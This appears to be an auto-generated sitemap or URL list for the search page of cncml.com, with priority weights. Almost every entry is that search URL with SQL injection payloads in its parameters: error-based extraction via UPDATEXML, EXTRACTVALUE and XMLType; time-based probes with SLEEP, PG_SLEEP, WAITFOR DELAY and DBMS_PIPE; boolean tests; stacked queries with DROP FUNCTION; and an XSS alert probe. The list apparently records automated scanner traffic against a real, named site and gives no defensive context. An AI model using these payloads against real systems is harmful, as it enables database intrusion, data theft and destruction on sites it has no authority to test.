http://www.cncml.com/search.php?searchsubmit=yes'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?searchsubmit=yes';%20IF(26=31)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes';%20IF(94=94)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=97)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(54=54 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(97=97 0.0001 http://www.cncml.com/search.php?searchsubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes);%20IF(17=17)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes);%20IF(63=48)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(16=34)%20THEN%200x796573%20ELSE%2016*(SELECT%2016%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(37=92)%20THEN%200x796573%20ELSE%2037*(SELECT%2037%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%200x796573%20ELSE%2038*(SELECT%2038%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%200x796573%20ELSE%2079*(SELECT%2079%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20(CASE%20WHEN%20(86=66)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yesAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?searchsubmit=yesAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yesalert(42873) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x666F72756D%20ELSE%2015*(SELECT%2015%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(32=19)%20THEN%200x666F72756D%20ELSE%2032*(SELECT%2032%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(56=95)%20THEN%200x666F72756D%20ELSE%2056*(SELECT%2056%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(61=53)%20THEN%200x666F72756D%20ELSE%2061*(SELECT%2061%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(71=48)%20THEN%200x666F72756D%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=ELT(15=12,0x666F72756D) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=MAKE_SET(12=17,0x666F72756D) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum 0.0004 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x666F72756D%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=34)%20THEN%200x666F72756D%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%22%20AND%20%22yH%22=%22ah 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25%22%29%20AND%2018%3D47%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%2075=61%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(25=87)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=94)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20'FJ'%20LIKE%20'y7 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20'bH'='Fn 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 